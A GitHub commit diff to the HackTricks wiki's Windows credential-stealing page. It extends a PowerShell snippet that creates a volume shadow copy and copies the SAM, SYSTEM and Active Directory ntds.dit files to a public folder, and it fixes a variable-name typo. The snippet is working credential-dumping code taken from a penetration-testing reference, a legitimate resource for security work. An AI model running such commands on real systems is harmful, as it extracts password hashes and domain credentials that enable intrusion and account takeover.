Skip to content

Commit d43680d

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 8f67f66 + 3a67358 commit d43680d

1 file changed

Lines changed: 3 additions & 1 deletion

File tree

  • src/windows-hardening/stealing-credentials

src/windows-hardening/stealing-credentials/README.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -225,7 +225,9 @@ if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
225225
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
226226
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
227227
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
228-
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
228+
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
229+
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
230+
$volume.Delete();if($notrunning -eq 1){$service.Stop()}
229231
```
230232
231233
Code from the book: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)

0 commit comments

Comments
 (0)